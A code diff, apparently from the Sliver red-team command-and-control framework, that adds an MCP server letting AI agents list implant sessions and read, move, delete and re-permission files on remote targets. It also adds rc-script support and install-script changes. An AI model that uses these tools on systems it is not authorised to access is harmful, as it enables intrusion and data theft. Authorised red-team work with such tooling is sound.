"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/aka"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/cursed"
@@ -78,6 +79,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
// use.Commands,
tasks.Commands,
pivots.Commands,
aka.ImplantCommands,
)
// [ Info ]
+77 -3
View File
@@ -41,6 +41,7 @@ import (
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/util"
"github.com/gofrs/uuid"
"github.com/kballard/go-shellquote"
"github.com/reeflective/console"
"github.com/reeflective/readline"
"github.com/spf13/cobra"
@@ -159,7 +160,7 @@ func NewConsole(isServer bool) *SliverClient {
// Init requires a working RPC connection to the sliver server, and 2 different sets of commands.
// If run is true, the console application is started, making this call blocking. Otherwise, commands and
// RPC connection are bound to the console (making the console ready to run), but the console does not start.
func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, serverCmds, sliverCmds console.Commands, run bool) error {
func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, serverCmds, sliverCmds console.Commands, run bool, rcScript string) error {
con.Rpc = rpc
con.IsCLI = !run
@@ -206,6 +207,13 @@ func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, serverCmds, slive
con.setupAsciicastRecord(asciicastLog, asciicastStream)
}
if rcScript != "" {
originalPrintf := con.printf
con.printf = fmt.Printf
con.runRCScript(serverCmds, sliverCmds, rcScript)
con.printf = originalPrintf
}
if !con.IsCLI {
return con.App.Start()
}
@@ -213,6 +221,71 @@ func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, serverCmds, slive
return nil
}
func (con *SliverClient) runRCScript(serverCmds, sliverCmds console.Commands, rcScript string) {
scanner := bufio.NewScanner(strings.NewReader(rcScript))
lineNumber := 0
for scanner.Scan() {
lineNumber++
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
if err := con.runRCLine(serverCmds, sliverCmds, line); err != nil {
con.PrintErrorf("rc line %d error: %s", lineNumber, err)
}
}
if err := scanner.Err(); err != nil {
con.PrintErrorf("rc script error: %s", err)
}
}
func (con *SliverClient) runRCLine(serverCmds, sliverCmds console.Commands, line string) error {
args, err := shellquote.Split(line)
if err != nil {
return fmt.Errorf("parse error: %w", err)
}
for _, hook := range con.App.PreCmdRunLineHooks {
args, err = hook(args)
if err != nil {
return fmt.Errorf("pre-run line error: %w", err)
}
}
if len(args) == 0 {
return nil
}
menu := con.App.ActiveMenu()
if menu.Name() == consts.ImplantMenu {
menu.Command = sliverCmds()
} else {
menu.Command = serverCmds()
}
target, _, _ := menu.Command.Find(args)
if err := menu.CheckIsAvailable(target); err != nil {
return err
}
for _, hook := range con.App.PreCmdRunHooks {
if err := hook(); err != nil {
return fmt.Errorf("pre-run error: %w", err)
}
}
menu.SetArgs(args)
menu.SetContext(context.Background())
if err := menu.Execute(); err != nil {
return err
}
return nil
}
func (con *SliverClient) startEventLoop() {
eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
if err != nil {
@@ -341,11 +414,12 @@ func (con *SliverClient) triggerReactions(event *clientpb.Event) {
con.ActiveTarget.Set(currentActiveSession, currentActiveBeacon)
}()
if event.EventType == consts.SessionOpenedEvent {
switch event.EventType {
case consts.SessionOpenedEvent:
con.ActiveTarget.Set(nil, nil)
con.ActiveTarget.Set(event.Session, nil)
} else if event.EventType == consts.BeaconRegisteredEvent {
case consts.BeaconRegisteredEvent:
con.ActiveTarget.Set(nil, nil)
beacon := &clientpb.Beacon{}
+1
View File
@@ -276,6 +276,7 @@ const (
WgPortFwdStr = "wg-portfwd"
MonitorStr = "monitor"
MonitorConfigStr = "config"
MCPStr = "mcp"
SSHStr = "ssh"
DLLHijackStr = "dllhijack"
InteractiveStr = "interactive"
+118
View File
@@ -0,0 +1,118 @@
package mcp
import (
"fmt"
"net"
"net/url"
"strings"
"github.com/bishopfox/sliver/client/version"
)
// Transport identifies the MCP server transport to expose.
type Transport string
const (
TransportHTTP Transport = "http"
TransportSSE Transport = "sse"
)
// Config controls the local MCP server settings.
type Config struct {
Transport Transport
ListenAddress string
ServerName string
ServerVersion string
}
// DefaultConfig returns the baseline MCP configuration.
func DefaultConfig() Config {
return Config{
Transport: TransportSSE,
ListenAddress: "127.0.0.1:8080",
ServerName: "Sliver MCP",
ServerVersion: version.Version,
}
}
// WithDefaults fills any empty fields with defaults.
func (c Config) WithDefaults() Config {
defaults := DefaultConfig()
if c.Transport == "" {
c.Transport = defaults.Transport
}
if c.ListenAddress == "" {
c.ListenAddress = defaults.ListenAddress
}
if c.ServerName == "" {
c.ServerName = defaults.ServerName
}
if c.ServerVersion == "" {
c.ServerVersion = defaults.ServerVersion
}
return c
}
// ParseTransport validates an input transport string.
func ParseTransport(raw string) (Transport, error) {
value := strings.ToLower(strings.TrimSpace(raw))
if value == "" {
return DefaultConfig().Transport, nil
}
switch Transport(value) {
case TransportHTTP, TransportSSE:
return Transport(value), nil
default:
return "", fmt.Errorf("unsupported transport %q", raw)
}
}
// Validate ensures the configuration can be used for a server start.
func (c Config) Validate() error {
if c.Transport != TransportHTTP && c.Transport != TransportSSE {
return fmt.Errorf("unsupported transport %q", c.Transport)
}
if c.ListenAddress == "" {
return fmt.Errorf("listen address is required")
}
if _, _, err := net.SplitHostPort(c.ListenAddress); err != nil {
return fmt.Errorf("invalid listen address %q: %w", c.ListenAddress, err)
}
if c.ServerName == "" {
return fmt.Errorf("server name is required")
}
if c.ServerVersion == "" {
return fmt.Errorf("server version is required")
}
return nil
}
// EndpointURL returns the base URL for clients to connect.
func (c Config) EndpointURL() (string, error) {
cfg := c.WithDefaults()
if err := cfg.Validate(); err != nil {
return "", err
}
host, port, err := net.SplitHostPort(cfg.ListenAddress)
if err != nil {
return "", err
}
if host == "" {
host = "127.0.0.1"
}
endpoint := url.URL{
Scheme: "http",
Host: net.JoinHostPort(host, port),
}
switch cfg.Transport {
case TransportHTTP:
endpoint.Path = "/mcp"
case TransportSSE:
endpoint.Path = "/sse"
default:
return "", fmt.Errorf("unsupported transport %q", cfg.Transport)
}
return endpoint.String(), nil
}
File diff suppressed because it is too large. Load diff
+67
View File
@@ -0,0 +1,67 @@
package mcp
import (
"fmt"
"log"
"os"
"path/filepath"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
)
const mcpLogTimeFormat = "2006-01-02_15-04-05"
func newMCPLogger() (*log.Logger, *os.File, error) {
logsDir := assets.GetMCPLogsDir()
logPath := filepath.Join(logsDir, fmt.Sprintf("%s.log", time.Now().Format(mcpLogTimeFormat)))
logFile, err := os.OpenFile(logPath, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
if err != nil {
return nil, nil, err
}
logger := log.New(logFile, "", log.LstdFlags|log.Lshortfile)
return logger, logFile, nil
}
func (m *mcpManager) logf(format string, args ...any) {
if m == nil {
return
}
m.mu.Lock()
logger := m.logger
m.mu.Unlock()
if logger != nil {
logger.Printf(format, args...)
}
}
func (s *SliverMCPServer) logf(format string, args ...any) {
if s == nil || s.logger == nil {
return
}
s.logger.Printf(format, args...)
}
func (s *SliverMCPServer) logToolCall(tool, sessionID, beaconID string, extras ...string) {
if s == nil || s.logger == nil {
return
}
parts := make([]string, 0, 2+len(extras))
if sessionID != "" {
parts = append(parts, fmt.Sprintf("session_id=%s", sessionID))
}
if beaconID != "" {
parts = append(parts, fmt.Sprintf("beacon_id=%s", beaconID))
}
for _, extra := range extras {
if extra != "" {
parts = append(parts, extra)
}
}
if len(parts) == 0 {
s.logger.Printf("mcp tool=%s", tool)
return
}
s.logger.Printf("mcp tool=%s %s", tool, strings.Join(parts, " "))
}
+200
View File
@@ -0,0 +1,200 @@
package mcp
import (
"context"
"errors"
"log"
"net/http"
"os"
"sync"
"time"
"github.com/bishopfox/sliver/protobuf/rpcpb"
mcpserver "github.com/mark3labs/mcp-go/server"
)
var (
ErrAlreadyRunning = errors.New("mcp server already running")
ErrNotRunning = errors.New("mcp server not running")
)
// Status describes the running state of the MCP server.
type Status struct {
Running bool
StartedAt time.Time
Config Config
LastError string
}
type serverTransport interface {
Start(addr string) error
Shutdown(ctx context.Context) error
}
type mcpManager struct {
mu sync.Mutex
cfg Config
running bool
startedAt time.Time
lastErr string
server *SliverMCPServer
transport serverTransport
done chan struct{}
logger *log.Logger
logFile *os.File
}
func newManager() *mcpManager {
return &mcpManager{
cfg: DefaultConfig(),
}
}
var defaultManager = newManager()
// GetStatus returns the current MCP server state.
func GetStatus() Status {
return defaultManager.status()
}
// Start launches the MCP server using the provided configuration.
func Start(cfg Config, rpc rpcpb.SliverRPCClient) error {
return defaultManager.start(cfg, rpc)
}
// ServeStdio runs the MCP server over stdio using the provided configuration.
func ServeStdio(cfg Config, rpc rpcpb.SliverRPCClient) error {
cfg = cfg.WithDefaults()
if err := cfg.Validate(); err != nil {
return err
}
logger, logFile, err := newMCPLogger()
if err != nil {
return err
}
defer logFile.Close()
logger.Printf("starting mcp stdio server")
srv := newServer(cfg, rpc, logger)
err = mcpserver.ServeStdio(srv.server)
if err != nil {
logger.Printf("mcp stdio server error: %v", err)
} else {
logger.Printf("mcp stdio server stopped")
}
return err
}
// Stop shuts down the MCP server.
func Stop(ctx context.Context) error {
return defaultManager.stop(ctx)
}
func (m *mcpManager) status() Status {
m.mu.Lock()
defer m.mu.Unlock()
return Status{
Running: m.running,
StartedAt: m.startedAt,
Config: m.cfg,
LastError: m.lastErr,
}
}
func (m *mcpManager) start(cfg Config, rpc rpcpb.SliverRPCClient) error {
cfg = cfg.WithDefaults()
if err := cfg.Validate(); err != nil {
return err
}
m.mu.Lock()
if m.running {
m.mu.Unlock()
return ErrAlreadyRunning
}
logger, logFile, err := newMCPLogger()
if err != nil {
m.mu.Unlock()
return err
}
mcpServer := newServer(cfg, rpc, logger)
var transport serverTransport
switch cfg.Transport {
case TransportHTTP:
transport = mcpserver.NewStreamableHTTPServer(mcpServer.server)
case TransportSSE:
transport = mcpserver.NewSSEServer(mcpServer.server)
default:
m.mu.Unlock()
logFile.Close()
return errors.New("unsupported transport")
}
m.cfg = cfg
m.running = true
m.startedAt = time.Now()
m.lastErr = ""
m.server = mcpServer
m.transport = transport
m.done = make(chan struct{})
m.logger = logger
m.logFile = logFile
addr := cfg.ListenAddress
done := m.done
m.mu.Unlock()
logger.Printf("starting mcp server transport=%s listen=%s", cfg.Transport, cfg.ListenAddress)
go m.run(addr, transport, done)
return nil
}
func (m *mcpManager) run(addr string, transport serverTransport, done chan struct{}) {
err := transport.Start(addr)
if err != nil && !errors.Is(err, http.ErrServerClosed) {
m.logf("mcp server error: %v", err)
m.mu.Lock()
m.lastErr = err.Error()
m.mu.Unlock()
}
m.logf("mcp server stopped")
m.mu.Lock()
m.running = false
m.transport = nil
m.server = nil
logFile := m.logFile
m.logFile = nil
m.logger = nil
m.mu.Unlock()
if logFile != nil {
logFile.Close()
}
close(done)
}
func (m *mcpManager) stop(ctx context.Context) error {
m.mu.Lock()
if !m.running {
m.mu.Unlock()
return ErrNotRunning
}
transport := m.transport
done := m.done
m.mu.Unlock()
if transport == nil {
return ErrNotRunning
}
m.logf("mcp server shutdown requested")
if err := transport.Shutdown(ctx); err != nil {
return err
}
if done == nil {
return nil
}
select {
case <-done:
return nil
case <-ctx.Done():
return ctx.Err()
}
}
+247
View File
@@ -0,0 +1,247 @@
package mcp
import (
"context"
"log"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
mcpapi "github.com/mark3labs/mcp-go/mcp"
mcpserver "github.com/mark3labs/mcp-go/server"
)
const (
listSessionsAndBeaconsToolName = "list_sessions_and_beacons"
)
type sessionSummary struct {
ID string `json:"id"`
Name string `json:"name"`
Transport string `json:"transport"`
RemoteAddress string `json:"remote_address"`
Hostname string `json:"hostname"`
Username string `json:"username"`
PID int32 `json:"pid"`
OS string `json:"os"`
Arch string `json:"arch"`
Locale string `json:"locale"`
LastCheckin int64 `json:"last_checkin"`
IsDead bool `json:"is_dead"`
Integrity string `json:"integrity"`
}
type beaconSummary struct {
ID string `json:"id"`
Name string `json:"name"`
Transport string `json:"transport"`
RemoteAddress string `json:"remote_address"`
Hostname string `json:"hostname"`
Username string `json:"username"`
PID int32 `json:"pid"`
OS string `json:"os"`
Arch string `json:"arch"`
Locale string `json:"locale"`
LastCheckin int64 `json:"last_checkin"`
NextCheckin int64 `json:"next_checkin"`
Interval int64 `json:"interval"`
Jitter int64 `json:"jitter"`
TasksCount int64 `json:"tasks_count"`
TasksCountCompleted int64 `json:"tasks_count_completed"`
IsDead bool `json:"is_dead"`
Integrity string `json:"integrity"`
}
type listSessionsAndBeaconsResult struct {
Sessions []sessionSummary `json:"sessions"`
SessionsCount int `json:"sessions_count"`
Beacons []beaconSummary `json:"beacons"`
BeaconsCount int `json:"beacons_count"`
}
// SliverMCPServer wraps the MCP server with Sliver RPC access for handlers.
type SliverMCPServer struct {
Rpc rpcpb.SliverRPCClient
server *mcpserver.MCPServer
logger *log.Logger
}
func newServer(cfg Config, rpc rpcpb.SliverRPCClient, logger *log.Logger) *SliverMCPServer {
base := mcpserver.NewMCPServer(
cfg.ServerName,
cfg.ServerVersion,
mcpserver.WithToolCapabilities(false),
)
listSessionsAndBeaconsTool := mcpapi.NewTool(
listSessionsAndBeaconsToolName,
mcpapi.WithDescription("List active sessions and beacons."),
mcpapi.WithReadOnlyHintAnnotation(true),
mcpapi.WithDestructiveHintAnnotation(false),
mcpapi.WithIdempotentHintAnnotation(true),
)
lsTool := mcpapi.NewTool(
lsToolName,
mcpapi.WithDescription("List the contents of a remote directory."),
mcpapi.WithInputSchema[lsArgs](),
mcpapi.WithReadOnlyHintAnnotation(true),
mcpapi.WithDestructiveHintAnnotation(false),
mcpapi.WithIdempotentHintAnnotation(true),
)
cdTool := mcpapi.NewTool(
cdToolName,
mcpapi.WithDescription("Change the current directory on a remote session or beacon."),
mcpapi.WithInputSchema[cdArgs](),
mcpapi.WithReadOnlyHintAnnotation(false),
mcpapi.WithDestructiveHintAnnotation(false),
)
catTool := mcpapi.NewTool(
catToolName,
mcpapi.WithDescription("Download and return the contents of a remote file."),
mcpapi.WithInputSchema[catArgs](),
mcpapi.WithReadOnlyHintAnnotation(true),
mcpapi.WithDestructiveHintAnnotation(false),
mcpapi.WithIdempotentHintAnnotation(true),
)
pwdTool := mcpapi.NewTool(
pwdToolName,
mcpapi.WithDescription("Return the current working directory of a remote session or beacon."),
mcpapi.WithInputSchema[pwdArgs](),
mcpapi.WithReadOnlyHintAnnotation(true),
mcpapi.WithDestructiveHintAnnotation(false),
mcpapi.WithIdempotentHintAnnotation(true),
)
rmTool := mcpapi.NewTool(
rmToolName,
mcpapi.WithDescription("Remove a file or directory on the remote target."),
mcpapi.WithInputSchema[rmArgs](),
mcpapi.WithReadOnlyHintAnnotation(false),
mcpapi.WithDestructiveHintAnnotation(true),
)
mvTool := mcpapi.NewTool(
mvToolName,
mcpapi.WithDescription("Move or rename a file or directory on the remote target."),
mcpapi.WithInputSchema[mvArgs](),
mcpapi.WithReadOnlyHintAnnotation(false),
mcpapi.WithDestructiveHintAnnotation(true),
)
cpTool := mcpapi.NewTool(
cpToolName,
mcpapi.WithDescription("Copy a file on the remote target."),
mcpapi.WithInputSchema[cpArgs](),
mcpapi.WithReadOnlyHintAnnotation(false),
mcpapi.WithDestructiveHintAnnotation(true),
)
mkdirTool := mcpapi.NewTool(
mkdirToolName,
mcpapi.WithDescription("Create a directory on the remote target."),
mcpapi.WithInputSchema[mkdirArgs](),
mcpapi.WithReadOnlyHintAnnotation(false),
mcpapi.WithDestructiveHintAnnotation(true),
)
chmodTool := mcpapi.NewTool(
chmodToolName,
mcpapi.WithDescription("Change file or directory permissions on the remote target."),
mcpapi.WithInputSchema[chmodArgs](),
mcpapi.WithReadOnlyHintAnnotation(false),
mcpapi.WithDestructiveHintAnnotation(true),
)
chownTool := mcpapi.NewTool(
chownToolName,
mcpapi.WithDescription("Change file or directory ownership on the remote target."),
mcpapi.WithInputSchema[chownArgs](),
mcpapi.WithReadOnlyHintAnnotation(false),
mcpapi.WithDestructiveHintAnnotation(true),
)
srv := &SliverMCPServer{
Rpc: rpc,
server: base,
logger: logger,
}
srv.server.AddTool(listSessionsAndBeaconsTool, srv.listSessionsAndBeaconsHandler)
srv.server.AddTool(lsTool, srv.lsHandler)
srv.server.AddTool(cdTool, srv.cdHandler)
srv.server.AddTool(catTool, srv.catHandler)
srv.server.AddTool(pwdTool, srv.pwdHandler)
srv.server.AddTool(rmTool, srv.rmHandler)
srv.server.AddTool(mvTool, srv.mvHandler)
srv.server.AddTool(cpTool, srv.cpHandler)
srv.server.AddTool(mkdirTool, srv.mkdirHandler)
srv.server.AddTool(chmodTool, srv.chmodHandler)
srv.server.AddTool(chownTool, srv.chownHandler)
return srv
}
func (s *SliverMCPServer) listSessionsAndBeaconsHandler(ctx context.Context, _ mcpapi.CallToolRequest) (*mcpapi.CallToolResult, error) {
if s.Rpc == nil {
return mcpapi.NewToolResultError("rpc client not configured"), nil
}
s.logToolCall(listSessionsAndBeaconsToolName, "", "")
sessionsResp, err := s.Rpc.GetSessions(ctx, &commonpb.Empty{})
if err != nil {
return mcpapi.NewToolResultErrorFromErr("failed to list sessions", err), nil
}
beaconsResp, err := s.Rpc.GetBeacons(ctx, &commonpb.Empty{})
if err != nil {
return mcpapi.NewToolResultErrorFromErr("failed to list beacons", err), nil
}
result := listSessionsAndBeaconsResult{
Sessions: make([]sessionSummary, 0, len(sessionsResp.GetSessions())),
Beacons: make([]beaconSummary, 0, len(beaconsResp.GetBeacons())),
}
for _, session := range sessionsResp.GetSessions() {
if session == nil {
continue
}
result.Sessions = append(result.Sessions, sessionSummary{
ID: session.ID,
Name: session.Name,
Transport: session.Transport,
RemoteAddress: session.RemoteAddress,
Hostname: session.Hostname,
Username: session.Username,
PID: session.PID,
OS: session.OS,
Arch: session.Arch,
Locale: session.Locale,
LastCheckin: session.LastCheckin,
IsDead: session.IsDead,
Integrity: session.Integrity,
})
}
for _, beacon := range beaconsResp.GetBeacons() {
if beacon == nil {
continue
}
result.Beacons = append(result.Beacons, beaconSummary{
ID: beacon.ID,
Name: beacon.Name,
Transport: beacon.Transport,
RemoteAddress: beacon.RemoteAddress,
Hostname: beacon.Hostname,
Username: beacon.Username,
PID: beacon.PID,
OS: beacon.OS,
Arch: beacon.Arch,
Locale: beacon.Locale,
LastCheckin: beacon.LastCheckin,
NextCheckin: beacon.NextCheckin,
Interval: beacon.Interval,
Jitter: beacon.Jitter,
TasksCount: beacon.TasksCount,
TasksCountCompleted: beacon.TasksCountCompleted,
IsDead: beacon.IsDead,
Integrity: beacon.Integrity,
})
}
result.SessionsCount = len(result.Sessions)
result.BeaconsCount = len(result.Beacons)
return mcpapi.NewToolResultStructuredOnly(result), nil
}
+6 -7
View File
@@ -14,16 +14,15 @@ fi
if command -v apt-get &> /dev/null; then
echo "Installing dependencies using apt..."
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
minisign curl build-essential git \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
minisign curl build-essential git
INSTALLER=(apt-get install -yqq)
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
echo "Installing dependencies using yum..."
yum -y install minisign curl gcc gcc-c++ make mingw64-gcc git
yum -y install minisign curl make git
INSTALLER=(yum -y)
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
echo "Installing dependencies using pacman..."
pacman --noconfirm -S minisign mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
pacman --noconfirm -S minisign
INSTALLER=(pacman --noconfirm -S)
else
echo "Unsupported OS, exiting"
@@ -47,7 +46,7 @@ echo "Using Minisign public key..."
ARCH="$(uname -m)"
case "$ARCH" in
x86_64|amd64)
SLIVER_PLATFORM="linux"
SLIVER_PLATFORM="linux-amd64"
;;
aarch64|arm64)
SLIVER_PLATFORM="linux-arm64"
@@ -138,7 +137,7 @@ echo "Generating local configs ..."
# Generate local configs
echo "Generating operator configs ..."
mkdir -p /root/.sliver-client/configs
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
/root/sliver-server operator --name root --lhost localhost --permissions all --save /root/.sliver-client/configs
chown -R root:root /root/.sliver-client/
USER_DIRS=(/home/*)
@@ -147,7 +146,7 @@ for USER_DIR in "${USER_DIRS[@]}"; do
if id -u "$USER" >/dev/null 2>&1; then
echo "Generating operator configs for user $USER..."
mkdir -p "$USER_DIR/.sliver-client/configs"
/root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
/root/sliver-server operator --name "$USER" --lhost localhost --permissions all --save "$USER_DIR/.sliver-client/configs"
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
fi
done
+8
View File
@@ -154,6 +154,14 @@ else
exit 1
fi
# server / gogo / goname
if go test -tags=server,$TAGS ./server/gogo/goname ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / gogo
if go test -tags=server,$TAGS ./server/gogo ; then
:
+15 -2
View File
@@ -4,6 +4,8 @@ go 1.25.3
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
replace github.com/reeflective/readline => github.com/moloch--/readline v0.0.0-20260104185423-d3ac1d6c561d
require (
filippo.io/age v1.2.1
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
@@ -25,9 +27,9 @@ require (
github.com/google/uuid v1.6.0
github.com/gorilla/mux v1.8.1
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
github.com/jedib0t/go-pretty/v6 v6.6.8
github.com/jedib0t/go-pretty/v6 v6.7.8
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
github.com/klauspost/compress v1.18.0
github.com/klauspost/compress v1.18.1
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.32
@@ -68,6 +70,16 @@ require (
tailscale.com v1.90.6
)
require (
github.com/bahlo/generic-list-go v0.2.0 // indirect
github.com/buger/jsonparser v1.1.1 // indirect
github.com/invopop/jsonschema v0.13.0 // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/spf13/cast v1.7.1 // indirect
github.com/wk8/go-ordered-map/v2 v2.1.8 // indirect
github.com/yosida95/uritemplate/v3 v3.0.2 // indirect
)
require (
cloud.google.com/go/compute/metadata v0.7.0 // indirect
filippo.io/edwards25519 v1.1.0 // indirect
@@ -133,6 +145,7 @@ require (
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mark3labs/mcp-go v0.43.2
github.com/mattn/go-colorable v0.1.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-localereader v0.0.1 // indirect
+23 -6
View File
@@ -84,7 +84,11 @@ github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiE
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
github.com/aymanbagabas/go-udiff v0.3.1 h1:LV+qyBQ2pqe0u42ZsUEtPiCaUoqgA9gYRDs3vj1nolY=
github.com/aymanbagabas/go-udiff v0.3.1/go.mod h1:G0fsKmG+P6ylD0r6N/KgQD/nWzgfnl8ZBcNLgcbrw8E=
github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk=
github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg=
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs=
github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0=
github.com/carapace-sh/carapace v1.9.0 h1:IuEP6YeeK4fhrH7MoOyL0I3GMhvROerkw6YGxkx8Fbw=
github.com/carapace-sh/carapace v1.9.0/go.mod h1:Zs3DpsawpFm+8fEfRVYE9EzMBYH8u7S3Aw9yAAKX0JM=
github.com/carapace-sh/carapace-shlex v1.1.0 h1:58QSJTUxghpa/rEn6+Z9UM/Hy0ipVHDUn9S1mp4i+ZE=
@@ -253,6 +257,8 @@ github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2 h1:9K06NfxkBh25x56yVhWWlKFE8YpicaSfHwoV8SFbueA=
github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2/go.mod h1:3A9PQ1cunSDF/1rbTq99Ts4pVnycWg+vlPkfeD2NLFI=
github.com/invopop/jsonschema v0.13.0 h1:KvpoAJWEjR3uD9Kbm2HWJmqsEaHt8lBUpd0qHcIi21E=
github.com/invopop/jsonschema v0.13.0/go.mod h1:ffZ5Km5SWWRAIN6wbDXItl95euhFz2uON45H2qjYt+0=
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 h1:iCEnooe7UlwOQYpKFhBabPMi4aNAfoODPEFNiAnClxo=
@@ -264,8 +270,8 @@ github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFr
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
github.com/jcmturner/gofork v1.7.6 h1:QH0l3hzAU1tfT3rZCnW5zXl+orbkNMMRGJfdJjHVETg=
github.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo=
github.com/jedib0t/go-pretty/v6 v6.6.8 h1:JnnzQeRz2bACBobIaa/r+nqjvws4yEhcmaZ4n1QzsEc=
github.com/jedib0t/go-pretty/v6 v6.6.8/go.mod h1:YwC5CE4fJ1HFUDeivSV1r//AmANFHyqczZk+U6BDALU=
github.com/jedib0t/go-pretty/v6 v6.7.8 h1:BVYrDy5DPBA3Qn9ICT+PokP9cvCv1KaHv2i+Hc8sr5o=
github.com/jedib0t/go-pretty/v6 v6.7.8/go.mod h1:YwC5CE4fJ1HFUDeivSV1r//AmANFHyqczZk+U6BDALU=
github.com/jellydator/ttlcache/v3 v3.1.0 h1:0gPFG0IHHP6xyUyXq+JaD8fwkDCqgqwohXNJBcYE71g=
github.com/jellydator/ttlcache/v3 v3.1.0/go.mod h1:hi7MGFdMAwZna5n2tuvh63DvFLzVKySzCVW6+0gA2n4=
github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
@@ -274,6 +280,7 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
github.com/jsimonetti/rtnetlink v1.4.2 h1:Df9w9TZ3npHTyDn0Ev9e1uzmN2odmXd0QX+J5GTEn90=
github.com/jsimonetti/rtnetlink v1.4.2/go.mod h1:92s6LJdE+1iOrw+F2/RO7LYI2Qd8pPpFNNUYW06gcoM=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
@@ -282,8 +289,8 @@ github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWr
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018/go.mod h1:Pmpz2BLf55auQZ67u3rvyI2vAQvNetkK/4zYUmpauZQ=
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo=
github.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ=
